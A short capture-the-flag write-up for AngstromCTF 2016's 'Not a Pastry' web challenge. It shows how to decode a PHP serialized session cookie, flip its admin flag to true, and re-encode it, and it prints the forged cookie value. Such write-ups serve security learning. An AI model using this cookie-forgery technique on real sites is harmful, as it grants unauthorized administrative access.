AngstromCTF 2016 - Not a Pastry (web, 40)

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Url decode not_s_pastry cookie
Base64 decode not_s_pastry cookie

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O:7:"Session":2:{s:10:"start_time";i:1460966956;s:5:"admin";b:0;}

to be admin change de Boolean value b:0 to true  ( b:1) and code using B64 an url encode :

O:7:"Session":2:{s:10:"start_time";i:1460966956;s:5:"admin";b:1;}

Tzo3OiJTZXNzaW9uIjoyOntzOjEwOiJzdGFydF90aW1lIjtpOjE0NjA5NjY5NTY7czo1OiJhZG1pbiI7YjoxO30%3D

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